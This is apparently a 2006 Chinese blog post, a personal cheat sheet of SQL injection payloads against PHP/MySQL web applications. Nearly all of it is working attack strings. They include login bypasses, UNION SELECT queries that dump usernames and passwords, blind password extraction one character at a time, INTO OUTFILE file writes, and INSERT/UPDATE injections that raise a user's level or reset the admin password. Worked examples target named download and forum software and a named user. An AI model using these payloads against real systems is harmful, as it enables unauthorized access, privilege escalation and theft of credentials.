PHP注入一路小跑

[ 2006-04-20 14:16:55 | 作者: 承諾 ]

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很老的了，我是给我自己看的。忘了好多，补习一下

‘ or ‘1=1

‘/*

‘%23

‘ and password=‘mypass

id=-1 union select 1,1,1

id=-1 union select char(97),char(97),char(97)

id=1 union select 1,1,1 from members

id=1 union select 1,1,1 from admin

id=1 union select 1,1,1 from user

userid=1 and password=mypass

userid=1 and mid(password,3,1)=char(112)

userid=1 and mid(password,4,1)=char(97)

and ord(mid(password,3,1))>111 (ord函数很好用，可以返回整形的)

‘ and LENGTH(password)=‘6(探测密码长度)

‘ and LEFT(password,1)=‘m

‘ and LEFT(password,2)=‘my

…………………………依次类推

‘ union select 1,username,password from user/*

‘ union select 1,username,password from user/*

=‘ union select 1,username,password from user/* (可以是1或者=后直接跟)

99999‘ union select 1,username,password from user/*

‘ into outfile ‘c:/file.txt (导出文件)

=‘ or 1=1 into outfile ‘c:/file.txt

1‘ union select 1,username,password from user into outfile ‘c:/user.txt

select password FROM admins where login=‘John‘ INTO DUMPFILE ‘/path/to/site/file.txt‘

id=‘ union select 1,username,password from user into outfile

id=-1 union select 1,database(),version() (灵活应用查询)

常用查询测试语句，

select * FROM table where 1=1

select * FROM table where ‘uuu‘=‘uuu‘

select * FROM table where 1<>2

select * FROM table where 3>2

select * FROM table where 2<3

select * FROM table where 1

select * FROM table where 1+1

select * FROM table where 1--1

select * FROM table where ISNULL(NULL)

select * FROM table where ISNULL(COT(0))

select * FROM table where 1 IS NOT NULL

select * FROM table where NULL IS NULL

select * FROM table where 2 BETWEEN 1 AND 3

select * FROM table where ‘b‘ BETWEEN ‘a‘ AND ‘c‘

select * FROM table where 2 IN (0,1,2)

select * FROM table where CASE WHEN 1>0 THEN 1 END

例如：夜猫下载系统1.0版本

id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user

union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1

id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and groupid=1

union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 (替换，寻找密码)

union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49 (验证第一位密码)

union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,2,1))=50 (第二位)

union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,3,1))=51

…………………………………………………………

例如2：灰色轨迹 变换id进行测试(meteor)

union%20(select%20allowsmilies,public,userid,‘0000-0-0‘,user(),version()%20FROM%20calendar_events%20where%20eventid%20=%2013)%20order%20by%20eventdate

union%20(select%20allowsmilies,public,userid,‘0000-0-0‘,pass(),version()%20FROM%20calendar_events%20where%20eventid%20=%2010)%20order%20by%20eventdate

构造语句：

select allowsmilies,public,userid,eventdate,event,subject FROM calendar_events where eventid = 1 union (select 1,1,1,1,1,1,1 from user where userid=1)

select allowsmilies,public,userid,eventdate,event,subject FROM calendar_events where eventid = 1 union (select 1,1,1,1,username,password from user where userid=1)

union%20(select%201,0,2,‘1999-01-01‘,‘a‘,password%20FROM%20user%20where%20userid%20=%205)%20order%20by%20eventdate

union%20(select%201,0,12695,‘1999-01-01‘,‘a‘,password%20FROM%20user%20where%20userid=13465)%20order%20by%20eventdate

union%20(select%201,0,12695,‘1999-01-01‘,‘a‘,userid%20FROM%20user%20where%20username=‘sandflee‘)%20order%20by%20eventdate (查沙子的id)

(select a FROM table_name where a=10 AND B=1 ORDER BY a LIMIT 10)

select * FROM article where articleid=‘$id‘ union select * FROM……(字段和数据库相同情况下，可直接提交)

select * FROM article where articleid=‘$id‘ union select 1,1,1,1,1,1,1 FROM……(不同的情况下)

特殊技巧：在表单，搜索引擎等地方写：

"___"

".__ "

"%

%‘ ORDER BY articleid/*

%‘ ORDER BY articleid#

__‘ ORDER BY articleid/*

__‘ ORDER BY articleid#

$command = "dir c:\";system($command);

select * FROM article where articleid=‘$id‘

select * FROM article where articleid=$id

1‘ and 1=2 union select * from user where userid=1/* 句中变为

(select * FROM article where articleid=‘1‘ and 1=2 union select * from user where userid=1/*‘)

1 and 1=2 union select * from user where userid=1

语句形式：建立一个库，插入：

create DATABASE `injection`

create TABLE `user` (

`userid` int(11) NOT NULL auto_increment,

`username` varchar(20) NOT NULL default ‘‘,

`password` varchar(20) NOT NULL default ‘‘,

PRIMARY KEY (`userid`)

) ;

insert INTO `user` VALUES (1, ‘swap‘, ‘mypass‘);

插如一个注册用户：

insert INTO `user` (userid, username, password, homepage, userlevel) VALUES (‘‘, ‘$username‘, ‘$password‘, ‘$homepage‘, ‘1‘);

"insert INTO membres (login,password,nom,email,userlevel) VALUES (‘$login‘,‘$pass‘,‘$nom‘,‘$email‘,‘1‘)";

insert INTO membres (login,password,nom,email,userlevel) VALUES (‘‘,‘‘,‘‘,‘‘,‘3‘)#‘,‘1‘)

"insert INTO membres SET login=‘$login‘,password=‘$pass‘,nom=‘$nom‘,email=‘$email‘";

insert INTO membres SET login=‘‘,password=‘‘,nom=‘‘,userlevel=‘3‘,email=‘‘

"insert INTO membres VALUES (‘$id‘,‘$login‘,‘$pass‘,‘$nom‘,‘$email‘,‘1‘)";

update user SET password=‘$password‘, homepage=‘$homepage‘ where id=‘$id‘

update user SET password=‘MD5(mypass)‘ where username=‘admin‘#)‘, homepage=‘$homepage‘ where id=‘$id‘

"update membres SET password=‘$pass‘,nom=‘$nom‘,email=‘$email‘ where id=‘$id‘";

update membres SET password=‘[PASS]‘,nom=‘‘,userlevel=‘3‘,email=‘ ‘ where id=‘[ID]‘

"update news SET Votes=Votes+1, score=score+$note where idnews=‘$id‘";

长用函数：

DATABASE()

USER()

SYSTEM_USER()

SESSION_USER()

CURRENT_USER()

比如：

update article SET title=$title where articleid=1 对应函数

update article SET title=DATABASE() where id=1

#把当前数据库名更新到title字段

update article SET title=USER() where id=1

#把当前 MySQL 用户名更新到title字段

update article SET title=SYSTEM_USER() where id=1

#把当前 MySQL 用户名更新到title字段

update article SET title=SESSION_USER() where id=1

#把当前 MySQL 用户名更新到title字段

update article SET title=CURRENT_USER() where id=1

#把当前会话被验证匹配的用户名更新到title字段

：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：

$req = "select * FROM membres where name like ‘%$search%‘ ORDER BY name";

select * FROM membres where name like ‘%%‘ ORDER BY uid#%‘ ORDER BY name

select * FROM membres where name like ‘%%‘ ORDER BY uid#%‘ ORDER BY name

select uid FROM admins where login=‘‘ OR ‘a‘=‘a‘ AND password=‘‘ OR ‘a‘=‘a‘ (经典)

select uid FROM admins where login=‘‘ OR admin_level=1#‘ AND password=‘‘

select * FROM table where msg like ‘%hop‘

select uid FROM membres where login=‘Bob‘ AND password like ‘a%‘#‘ AND password=‘‘

select * FROM membres where name like ‘%%‘ ORDER BY uid#%‘ ORDER BY name